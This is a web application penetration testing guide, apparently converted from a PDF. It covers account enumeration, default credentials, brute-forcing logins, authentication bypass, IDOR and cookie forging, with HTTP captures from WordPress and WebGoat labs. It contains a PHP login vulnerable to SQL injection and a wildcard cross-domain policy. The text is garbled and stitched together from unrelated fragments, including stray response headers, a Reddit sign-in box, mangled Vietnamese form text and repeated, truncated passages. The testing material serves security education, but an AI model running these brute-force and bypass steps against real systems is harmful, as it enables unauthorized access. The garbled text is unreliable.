Last-Modified: Tue, 11 Sep 2012 10:30:22 GMT
Connection: close
ETag: "504f12be-e0"
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <allow-access-from domain="*" to-ports="*" secure="false"/>
...[SNIP]...
```
Identity Management Testing

1. Test Role Definition

Test objectives

Validate the system roles defined within the application sufficiently define and separate each system and business role to manage appropriate access to system function and information

How to test

Either with or without the help of the system dev or admin, develop an role versus permission matrix. The matrix will show and enumerate all the roles that can be provisioned and explore the permissions that are allowed to be applied to the objects including any constraints.

Example

In real world, I have pentested many wordpress site, example of role definitions in wordpress can be found at shown below link

- [https://codex.wordpress.org/Roles_and_Capabilities](https://codex.wordpress.org/Roles_and_Capabilities)

Tools

- You can approach this problem by manual test
- Spidering tools (Burp Suite) – Log on with each role in turn and spider the application (don’t forget to exclude the logout button/link from the spidering)
  
  With admin account, using spider option we have this below result and save this state to file
With normal user account, we also use spider option and get following result

Finally, use compare function to comparing two site map we’ve got
2. Test User Registration Process

Test Objectives

- Verify that the identity requirements for user registration are aligned with business and security requirements
- Validate the registration process

How to Test

Test list

- Determine who can register for access (anyone)?
- Are registrations are vetted by a human prior to provisioning or are they automatically granted if the criteria are met?
- Can the same person register multiple times?
- Can user register for different roles or permissions?
- What proof of identity is required for a registration to be successful?
- Are registered identities verified?
- Can identity information be easily forged or faked?
- Can the exchange of identity information be manipulated during registration process?

Tools
- Manual test
- HTTP proxy (Burp Suite, ZAP)

Example

In the wordpress example below, the only identification requirement is an email address that is accessible to the registrant.

In the Google example below, the identification requirements include name, date of birth, country, mobile phone number and two of the can be verified (Email and mobile phone number).
3. Test Account Provisioning Process

Test Objective

Verify which account may provision other account and of what type

How to test

Test List

- Is there any verification, vetting and authorization of provisioning requests?
- Is there any verification, vetting and authorization of de-provisioning requests?
- Can an administrator provision other administrators or just users?
- Can an administrator or other user provision accounts with privileges greater than their own?
- Can an administrator or user de-provision themselves?
- How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred

Example

In WordPress, only a user’s name and email address are required to provision the user, as shown below
De-provisioning of users requires the admin to select the user to be de-provisioned, select delete from the dropdown menu and applying this action. The administrator is then presented with a dialog box asking what to do with the de-provisioning user’s post (delete or transfer them).
4. Testing for Account Enumeration and Guessable User Account

Black box Testing

In this case, the tester knows nothing about the specific application, username, application logic, error messages on log in page, or password recovery facilities. If application is vulnerable, the tester receives a response message that reveals, directly or indirectly, some information useful for enumerating users.

HTTP Response message

- Test for valid user with wrong password

```
$GET /wordpress/wp-login.php HTTP/1.1
Host: 192.168.222.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: acopendivids=sviewset,jotto.phpbb2_redmine; acgroupswithpersist= nada; PHPSESSID=38qnhlmeo7sab56asruhp132
Connection: close
Upgrade-Insecure-Requests: 1

log=admin&pwd=1&submit=Login+%26%238211%3B+Direct+To=wp-admin
```

- Test for a nonexistent username
Another way to enumerate users

- Analyzing the error code received on login page
Analyzing URLs and URL re-directions
Analyzing a message received from another authentication function (recovery, reset pass, register)

- Reset password function example

```
POST /Account/ResetPassword HTTP/1.1
Host: hackyourselffirst.troyhunt.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept-Language: en-gb,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://hackyourselffirst.troyhunt.com/Account/ResetPassword
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Cookie: _ga=GA1.2.1076830981.1112225664; ASP.NET_SessionId=uh4bds5ce6tmp2t331zwgtv; VisitStar: AXAffinity=6635a772ced6d74f4d5cd9250fde0c1c0560b93e8f66b4d2d12609a0f2; __gid=GA1.2.1L0U5
Connection: close
Upgrade-Insecure-Requests: 1
```

Email=aaaaaaaaaaaaaaaa4@gmail.com
Guessing Users

In some cases the user IDs are created with specific policies of administration or company, such as:

**Tools:**
- Manual test
- Automate tools such as: WordPress enumeration username tools like wpscan
Authentication Testing

1. Testing for Credentials Transported over an Encrypted Channel

Black Box Testing

In the following examples we will use Burp Suite to capture packet headers and to inspect them.

Example 1: Sending data with GET/POST method through HTTP

Suppose that the login page presents a form with field User, Pass, and the Submit button to authenticate and give access to application.
So the data is transmitted without encryption and a malicious user could intercept the username and password by simple sniffing the network with a tool like Wireshark.
Example 2: Sending data with GET/POST method through HTTPS

Suppose that our web application uses the HTTPS protocol to encrypt the data we are sending (or at least for transmitting sensitive data like credentials). In this case, when logging on to the web application the header of our POST request would be similar to the following:

Example 3: sending data with GET/POST method via HTTPS on a page reachable via HTTP

Imagine we having a web page reachable via HTTP and that only data sent from the authentication form are transmitted via HTTPS.
We can see that our request is addressed to www.example.com/login using HTTPS. But if we have a look at the Referer-header (the page from which we came), it is www.example.com/ And is accessible via simple HTTP. Although we are sending data via HTTPS, this deployment can allow SSLStrip attacks (a type of Man-in-the-middle attack)

You can see that the data is transferred in clear text in the URL and not in the body of the request. But we must consider that SSL/TLS is a level 5 protocol, a lower level than HTTP, so the whole HTTP packet is still encrypted making the URL unreadable to a malicious user using a sniffer. Nevertheless as stated before, it is not a good practice to use the GET method to send sensitive data to a web application, because the information contained in the URL can be stored in many locations such as proxy and web server logs.

2. Testing for default credentials

How to Test

Testing for default credentials of common applications

- Try default usernames such as: admin, administrator, root, system, guest, operator, superuser.
Application administrative users are often named after the application or organization. It means if you are testing an application named “ABC”, trying abc/abc or any other similar combination as username and password.
- Using above username with blank passwords.

- Review the page source code and JavaScript. Look for account names and passwords written in comments.

- Check for configuration files that contain usernames and passwords.
• Check for password hints.

Tools
• Burp Intruder
• Hydra
• Nikto
• Medusa

References
• CIRT  http://www.cirt.net/passwords

3. Testing for Weak lock out mechanism

Overview
Account lockout mechanisms are used to mitigate brute force password guessing attack. Account are typically locked after 3 to 5 unsuccessful login attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator. Account lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access.

Test Objective

- Evaluate the account lockout mechanism’s ability to mitigate brute force password guessing
- Evaluate the unlock mechanism’s resistance to unauthorized account unlocking.

How to test

- Using Burp Intruder & Burp Repeater to Brute force target site
### WEB APPLICATION PENETRATION TESTING

**March 1, 2018**

#### Intruder Attack 2

<table>
<thead>
<tr>
<th>Request</th>
<th>Payload</th>
<th>Status</th>
<th>Error</th>
<th>Timeout</th>
<th>Length</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>abc</td>
<td>302</td>
<td></td>
<td></td>
<td>558</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>login</td>
<td>302</td>
<td></td>
<td></td>
<td>558</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>pass</td>
<td>302</td>
<td></td>
<td></td>
<td>558</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>password</td>
<td>302</td>
<td></td>
<td></td>
<td>558</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>admin</td>
<td>302</td>
<td></td>
<td></td>
<td>558</td>
<td></td>
</tr>
</tbody>
</table>

**POST** /drea/login.php HTTP/1.1

**Host**: 192.168.222.136

**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0

**Accept**: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

**Accept-Language**: en-GB,en;q=0.5

**Accept-Encoding**: gzip, deflate


**Content-Type**: application/x-www-form-urlencoded

**Content-Length**: 41

**Cookie**: security=low; drea-pystatus=grabat=0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0; advancedStuff=0,1,2,3,4,5,6,7,8,9,0; 

cookieSession=61f004e4e06f28576a6e4722707cc876;
- Review source code

```php
if (isset($POST['login']) && !empty($POST['password'])) {
    $username = $POST['username'];
    $password = md5($POST['password']);
    $user = (isset($_SESSION['__myid_ston'])) ? $_SESSION['__myid_ston'] : null;
    $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password';";
    $result = $db->query($sql);
    if ($result) {
        $row = $result->fetch_assoc();
        if ($row['id']) {
            $_SESSION['__myid_ston'] = $row['id'];
            $loginMessage = "Login successful!";
        } else {
            $loginMessage = "Login failed. Check your credentials.";
        }
    } else {
        $loginMessage = "Login failed. Check your credentials.";
    }
    header("Location: login.php?login_error=1");
} else {
    $loginMessage = "Login failed. Check your credentials.";
}

```

- Make sure website have account lockout policy – Test for an account indeed lock after a certain number of fail login
Sign up to get your own personalized Reddit experience!

By having a Reddit account, you can subscribe, vote, and comment on all your favorite Reddit content. Sign up in just seconds.

LOG IN

mustafkerrigan

Don't have an account? Sign up | Reset password

• Make sure application response limited timeout for user and verify limited timeout is correctly
- Make sure application warn user when they are approaching lockout thread hold
- A CAPTCHA may hinder brute force attack, but they cannot replace a lockout mechanism.
• Try for bypass lockout time out
• List all ways to unlocked account of website, Make sure they are secure

4. Testing for bypassing authentication schema

How to test

• Parameter modification
  When the application verifies a successful log in on the basis of a fixed value parameters. A user could modify these parameters to gain access to the protected areas without providing valid credentials.
Stage 1
Stage 1: Bypass Presentation Layer Access Control.
As regular employee Tom, exploit weak access control to use the Delete function from the
staff list page. Verify that Tom's profile can be deleted. The passwords for users are their
given names in lowercase (e.g., the password for Tom Cat is "tom").

Goat Hills Financial
Human Resources

Welcome Back Larry • View Profile Page

First Name: Larry
Last Name: Stange
Street: 9175 Guilford Rd
City/State: New York, NY
Phone: 443-669-6192
Start Date: 10/1200
SSN: 123-45-6789
Credit Card: 257846998653647
Credit Card Limit: 5000
Comments: Do not work well with others
Disciplinary Action: Disc. Date: 10/16
Currently laughing coworkers
Manager: 102

Hidden field [employee_id] 101
Hidden field [employee_id] 102

POST /WebGoat/attack?screen=5&menu=200 HTTP/1.1
Host: 192.168.222.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.6
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Cookie: PFSSESSIONID=E4a158f48f51b6ac3f5f78cbb1; accpendsivids=swingset,jotto.phbb2,redmine; accgroupswithpersist-nada; Authorization: Basic dW1lZ29zY3JpZ29wZWN0Cg
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

employee_id=101&action=ViewProfile
Session manipulate

Stage 1
Stage 1: Bypass Presentation Layer Access Control. As regular employee 'Tom', exploit weak access control to use the Delete function from the Staff List page. Verify that Tom's profile can be deleted. The passwords for users are the given names in lowercase (e.g. the password for Tom Cat is "tom").

```
POST /WebGoat/attack?screen=6&menu=200 HTTP/1.1
Host: 192.168.122.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Cookie: PHPSESSID=64159fe4tfqhtxjcp+svorvkhql; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada;
Authorization: Basic d2VL25ShDp3ZWJnhC70
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
employee_id=102&action=ViewProfile
```
We see an image with a URL and some headers and a form. The form is for a login page. The headers include details about the HTTP request and the user agent. The form has fields for username and password.

- **SQL Injection**
  SQL Injection is a widely known attack technique. This section is not going to describe this technique in detail as there are several sections in this guide that explain injection techniques beyond the scope of this section.
- Direct page request (Forced Browsing)
  If a web application implements access control only on the log in page, the authentication schema could be bypassed.
Session ID Predict

Many web applications manage authentication by using session identifiers (session IDs). Therefore, if session ID generation is predictable, a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

Tools

- Burp Suite
- ZAP
- WebGoat

5. Test remember password functionality

How to Test:
- Look for password being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in clear text, but are hased.

- Examine the hashing mechanism: if it is a common, well-know algorithm, check for its strength; it homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable.

- Verify that the credentials are only sent during the log in phase, and not sent together with every request to the application.
• Consider other sensitive form fields (e.g. an answer to a secret question that must be entered in a password recovery or account unlock form).

• Check for: autocomplete = "off"

6. Testing for Browser cache weakness

Browsers can store information for purposes of caching and history. Caching is used to improve performance, so that previously displayed information doesn't need to be downloaded again. History mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the resource was retrieved. If sensitive information is displayed to the user (such as their address, credit card details, Social Security Number, or username), then this information could be stored for purposes of caching or history, and therefore retrievable through examining the browser's cache or by simply pressing the browser's "Back" button.

How to test:

If by pressing the "Back" button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it.

Authentication does not necessarily need to be involved in the testing. For example, when a user enters their email address in order to sign up to a newsletter, this information could be retrievable if not properly handled.

The "Back" button can be stopped from showing sensitive data. This can be done by:

• Delivering the page over HTTPS.
Setting Cache-Control: must-re-validate

Browser Cache. In Here testers check that the application does not leak any sensitive data into the browser cache. In order to do that, they can use a proxy (such as Burp Suite) and search through the server responses that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers:

- Cache-Control: no-cache, no-store
- Expires: 0
- Pragma: no-cache

These directives are generally robust, although additional flags may be necessary for the Cache-Control header in order to better prevent persistently linked files on the file system:

- Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0

The exact location where that information is stored depends on the client operating system and on the browser that has been used.

Mozilla Firefox:

- Unix/Linux: ~/.mozilla/firefox//Cache/
- Windows: C:\Documents and Settings\Local Settings\Application Data\Mozilla\Firefox\Profiles\Cache

Internet Explorer:

- C:\Documents and Settings\Local Settings\Temporary Internet Files

Example:
Login with name root password toor and intercept to analysis packet

GET /cookielogin/cookielogin.php?n=root&p=toor HTTP/1.1
Host: attack.samsclass.info
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://attack.samsclass.info/cookielogin/
Cookie: _ASDMAUTH=INVALID; AUTH=INVALID; __eiduid=d72faa8b09f8f6aa2f49ef5c09613e008a113f79976
Connection: close
Upgrade-Insecure-Requests: 1
As you can see, we are not have any Cache-control header in response packet.

From message board page, let’s click logout button. And click “Back button” on your browser or in history (Ctrl + H) choose message board, we will catch this result out.
Message Board

AUTH COOKIE: 63a9f0ea7bb980507966b649e85481845

Welcome Linux Root User!

Comment:

Post Comment

Erase Comments

Logout

You are now logged out!

Click here to log in
7. Testing for Weak password policy

Test objectives

Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.

How to test:
1. What characters are permitted and forbidden for use within a password? Is the user required to use characters from different character sets such as lower and uppercase letters, digits and special symbols?

2. How often can a user change their password? How quickly can a user change their password after a previous change? Users may bypass password history requirements by changing their password 5 times in a row so that after the last password change they have configured their initial password again.

3. When must a user change their password? After 90 days? After account lockout due to excessive log on attempts?

4. How often can a user reuse a password? Does the application maintain a history of the user's previous used 8 passwords?

5. How different must the next password be from the last password?

6. Is the user prevented from using his username or other account information (such as first or last name) in the password?

Example:

Review source code and get present password policy of system, make sure they following something shown below:
(Password must meet at least 3 out of the following 4 complexity rules)
- At least 1 uppercase character (A-Z)
- At least 1 lowercase character (a-z)
- At least 1 digit (0-9)
- At least 1 special character
- At least 10 characters
- At most 128 characters
- Not more than 2 identical characters in a row (e.g., 111 not allowed)
Try to Bypass client side

Đăng ký tài khoản mới

Tình tin cá nhân*

[Kiểm tra]

Ho, tên đệm chi có thể là các ký tự a-z, A-Z và khoảng trắng

Tài khoản*

[mã đăng nhập]

Tên đăng nhập phải lớn hơn 6 ký tự, chỉ chứa các ký tự a-z, các chữ số 0-9 và dấu _.

Mã không tâp thường 6 chữ số

Mã khay phải có ít nhất 6 ký tự bao gồm các chữ cái hoa số và các ký tự đặc biệt

Original request | Edited request | Response
--- | --- | ---

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/register
Cookie: TWFuY2hpbmUtZ29yZz0=; _gcl_au=1.1.788530450.1579560802; _gat_UA-17116258-1=1; _ga=GA1.2.210925563.1618591102; _gat_UA-17116258-1=1; _gid=GA1.2.1181956963.1618591102; _gat_UA-17116258-1=1; _ga_NZ4BDWzra5=1; _ga_NZ4BF2jwect=1; _ga_NZ4B9Zz7v=1; _ga_NZ4BF2jwns=1; _ga_NZ4B9Zz7v=1
Connection: close

{"userType":1, "lastName":"Láng và", "firstName":"Anh", "username":"nguyenhang", "password":"2001996", "passwordConfirm":"2001996", "gender":0, "province":null, "district":null, "school":null, "grade":null}
Generate commonly password file and try to login to make sure website ban commonly password
If password not comply policy password, make sure error message will be show to user

Thởn tin cã nhân*

lạng và nhàng

Họ, tên danh chỉ có thể là các ký tự a-z, A-Z và khoảng trắng

Tài khoản *

lăngvanhang

Tên đăng nhập phải lớn hơn 6 ký tự, chỉ chứa các ký tự a-z, các chữ số 0-9 và dấu __

*** ***

Một nữa tài khoản 6 chữ số
Một nữa phải có ít nhất 6 ký tự bao gồm chữ cái hoặc số và các ký tự đặc biệt

Check for password hint

Login

Password

Submit

You can use any of the following accounts for this test system.

foo : foo
SuA : SuA
bob : bob

List all forbidden characters such as: <> / + … and make sure they are not used in password
85

8. Testing for weak security Question/Answer

How to test:

- Make sure no shared knowledge secret question
9. Testing for weak password change or reset function

Test objectives

- Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account.
- Determine the resistance of the passwords reset functionality against guessing or bypassing.

How to Test

- If users, other than administrators, can change or reset passwords for accounts other than their own.
- If users can manipulate or subvert the password change or reset process to change or reset the password of another user or administrator.
- If the password change or reset process is vulnerable to CSRF.

Authorization Testing

1. Testing Directory traversal / file include

During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:

- Input Vectors Enumeration
- Testing Techniques

Example:

- In Window IIS

<table>
<thead>
<tr>
<th>Request</th>
<th>Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET <a href="http://example.com/">http://example.com/</a>..</td>
<td>403 Forbidden</td>
</tr>
<tr>
<td>POST <a href="http://example.com/">http://example.com/</a>..</td>
<td>200 OK</td>
</tr>
</tbody>
</table>

User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate

Example:

```
Example: In Windows IIS
```
In Linux Apache

Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, a such elevation or changes should have been prevented by the application. This is

2. Testing for Privilege Escalation

Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, a such elevation or changes should have been prevented by the application. This is
usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer system administrator.

How to Test

- Testing for role/privilege manipulation

Test Example
Goat Hills Financial
Human Resources

Welcome Back John - Staff Listing Page

Select from the list below

Larry Stooge (employee)
Moe Stooge (manager)
Curly Stooge (employee)
Eric Walker (employee)
Tom Cat (employee)
Jerry Mouse (hr)
David Gambi (manager)
Bruce McGuire (employee)
Sean Livingston (employee)
Joanne McDoogal (hr)
John Wayne (admin)

Logout

SearchStaff
ViewProfile
CreateProfile
DeleteProfile

Solution Videos

Stage 1
Stage 1: Bypass Presentation Layer Access Control
As an employee Tom, exploit weak access control, log in to the Staff list page, verify that Tom’s profile can be deleted.

Given names in lowercase (e.g., the password for Tom Cat is Tomcat).
3. Testing for Insecure Direct Object References

Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.

Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.
How to Test

- Map out all locations in the application where user input is used to reference objects directly. The best way to test for direct object references would be by having at least two or more users to cover different own objects and functions.
- The value of a parameter is used directly to retrieve a database record
- The value of a parameter is used directly to perform an operation in the system
- The value of a parameter is used directly to retrieve a file system resource
- The value of a parameter is used directly to access application functionality

Test example
<table>
<thead>
<tr>
<th>Request</th>
<th>Payload</th>
<th>Status</th>
<th>Error</th>
<th>Timeout</th>
<th>Length</th>
<th>Request</th>
<th>Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>102</td>
<td>102</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7766</td>
<td>□</td>
<td>abc</td>
</tr>
<tr>
<td>101</td>
<td>101</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7762</td>
<td>□</td>
<td>a</td>
</tr>
<tr>
<td>62</td>
<td>62</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7781</td>
<td>□</td>
<td>Yvonne Hahn</td>
</tr>
<tr>
<td>86</td>
<td>86</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7783</td>
<td>□</td>
<td>Watson Boyer</td>
</tr>
<tr>
<td>9</td>
<td>9</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7783</td>
<td>□</td>
<td>Virgie Ortiz</td>
</tr>
<tr>
<td>90</td>
<td>90</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7787</td>
<td>□</td>
<td>Verna Champin</td>
</tr>
<tr>
<td>53</td>
<td>53</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7789</td>
<td>□</td>
<td>Tremaine Heaney</td>
</tr>
<tr>
<td>18</td>
<td>18</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7783</td>
<td>□</td>
<td>Tatrum Oluneva</td>
</tr>
<tr>
<td>21</td>
<td>21</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7785</td>
<td>□</td>
<td>Syndee Schultz</td>
</tr>
<tr>
<td>57</td>
<td>57</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7783</td>
<td>□</td>
<td>Syndee Hamill</td>
</tr>
<tr>
<td>81</td>
<td>81</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7789</td>
<td>□</td>
<td>Stefanie Hamil</td>
</tr>
<tr>
<td>61</td>
<td>61</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7783</td>
<td>□</td>
<td>Sim Wolf III</td>
</tr>
<tr>
<td>35</td>
<td>35</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7799</td>
<td>□</td>
<td>Jenna Davis</td>
</tr>
<tr>
<td>45</td>
<td>45</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7783</td>
<td>□</td>
<td>Sabina Schemberger III</td>
</tr>
<tr>
<td>85</td>
<td>85</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7801</td>
<td>□</td>
<td>Ryder Wuckort</td>
</tr>
<tr>
<td>68</td>
<td>68</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7785</td>
<td>□</td>
<td>Rusty Wiozk</td>
</tr>
<tr>
<td>44</td>
<td>44</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7783</td>
<td>□</td>
<td>Riley Friesen III</td>
</tr>
<tr>
<td>27</td>
<td>27</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7789</td>
<td>□</td>
<td>Rickey Cronn</td>
</tr>
<tr>
<td>31</td>
<td>31</td>
<td>200</td>
<td></td>
<td>□</td>
<td>7785</td>
<td>□</td>
<td></td>
</tr>
</tbody>
</table>
Session Management Testing

1. Testing for Bypassing Session Management Schema

In this test, the tester has to check whether the cookies issued to clients can resist range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a that will be considered valid by the application and that will provide some kind of unauthorized access.

How to test

Usually the main steps of the attack pattern are the following:

- Cookie collection: collection of a sufficient number of cookie samples
- Cookie reverse engineering: analysis of the cookie generation algorithm
- Cookie manipulation: forging of a valid cookie in order to perform the attack, this last step might require a large number of attempts, depending on how the cookie is created (cookie brute force attack)

Test example

Cookie Collection
Cookie Reverse Engineering

```plaintext
input your hash here to crack this:63a9f0ea7bb98050796b649e85481845
hash function: MD5
hash md5 cracked: root
```

Cookie manipulation

Guess administrator’s username admin have cookie like below:

```plaintext
Cookie = md5(admin) = 21232f297a57a5a743894a0e4a801fc3
```
2. Testing for Cookies attributes

How to Test

Testing for cookie attribute vulnerabilities

By using an intercepting proxy or traffic intercepting browser plug-in, trap all response where a cookie is set by the application (using the Set-cookie directive) and inspect the cookie for the following:
- **Secure Attribute** – Whenever a cookie contains sensitive information or is a session token, it should always be passed using an encrypted tunnel. For example, after logging into an application and a session token is set using a cookie, then verify it is tagged using the ";secure" flag. If it is not, then the browser would agree to pass it via an unencrypted channel such as using HTTP, and this could lead to an attacker leading users into submitting their cookie over an insecure channel.

- **HttpOnly Attribute** – This attribute should always be set even though not every browser supports it. This attribute aids in securing the cookie from being accessed by a client-side script, it does not eliminate cross-site scripting risks but does eliminate some exploitation vectors. Check to see if the "HttpOnly" tag has been set.

- **Domain Attribute** – Verify that the domain has not been set too loosely. It should only be set for the server that needs to receive the cookie. For example, if the application resides on server app.mysite.com, then it should be set to "domain=app.mysite.com" and NOT "domain=.mysite.com" as this would allow other potentially vulnerable servers to receive the cookie.

- **Path Attribute** – Verify that the path attribute, just as the Domain attribute, has not been set too loosely. Even if the Domain attribute has been configured as tight as possible, if the path is set to the root directory "/" then it can be vulnerable to less secure applications on the same server. For example, if the application resides at /myapp/, then verify that the cookies path is set to "; path=/myapp/" and NOT "; path=/" or "; path=myapp/". Notice here that the trailing "/" must be used after myapp. If it is not used, the browser will send the cookie to any path that matches "myapp" such as "myapp-exploited".

- **Expires Attribute** – If this attribute is set to a time in the future verify that the cookie does not contain any sensitive information. For example, if a cookie is set to "; expires=Sun, 31-Jul-2019 13:45:29 GMT" and it is currently July 31st 2018, then the tester should inspect the cookie. If the cookie is a session token that is stored on the user’s hard drive then an attacker or local user (such as an admin) who has access to this cookie can access the application by resubmitting this token until the expiration date passes.
3. Testing for Session Fixation

Summary

When an application does not renew its session cookie(s) after a successful user authentication, it could be possible to find a session fixation vulnerability and force a user to utilize a cookie known by the attacker. In that case, an attacker could steal the user session (session hijacking).

Session fixation vulnerabilities occur when:

- A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user.
- An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.

Test example
4. Testing for Exposed Session Variables

How to Test

Testing for Encryption & Reuse of Session Tokens Vulnerabilities

Every time the authentication is successful, the user should expect to receive

- A different session token

- A token sent via encrypted channel every time they make HTTP Request
Testing for Proxies & Caching vulnerabilities

The “Expires: 0” and Cache-Control: max-age=0 directives should be used to further ensure caches do not expose the data. Each request/response passing Session ID data should be examined to ensure appropriate cache directives are in use.

Testing for GET & POST vulnerabilities

All server side code receiving data from POST requests should be tested to ensure it does not accept the data if sent as a GET.

5. Testing for Cross Site Request Forgery (CSRF)

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation, when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.
How to Test

- Let u the URL being tested, u=http://abc.com/action

- Build an html page containing the http request referencing URL u (specifying all relevant parameters, in the case of http GET this is straightforward, while to a POST request you need to resort to some javascript).
- Make sure that the valid user logged on the application

- Induce him into following the link pointing to the URL to be tested (Social engineering involved if you cannot impersonate the user yourself)

- Observe the result, check if the web server executed the request

// CSRF with Burp
6. Testing for logout functionality

How to Test

Testing for logout user interface

There are some properties which indicate a good logout user interface:

- A log out button is present on all pages of the web application.
- The log out button should be identified quickly by a user who wants to log out from the web application.
- After loading a page the log out button should be visible without scrolling.
- Ideally, the log out button is placed in an area of the page that is fixed in the viewport of the browser and not affected by scrolling of the content.

Verify that the following scenario: Login to the system, access an authorized page, copy the URL of the page, logout, paste the URL in the address bar, click on go, click on another authorized page, the system requires the permission to access it.
You are now logged out!

Click here to log in

Notice: Undefined variable: fn in /var/www/html/cookielogin/messageboard.php on line 41

Call Stack

<table>
<thead>
<tr>
<th>#</th>
<th>Time</th>
<th>Memory</th>
<th>Function</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.0001</td>
<td>233088</td>
<td>{main}()</td>
<td>.../messageboard.php:0</td>
</tr>
</tbody>
</table>

Post Comment

Erase Comments

Logout
7. Test Session Timeout

The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking application, it makes no sense to keep an inactive session more than 15 minutes. On the other side, a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.

How to test

Test with Burp extension
Input Validation Testing

Testing for Cross site Scripting

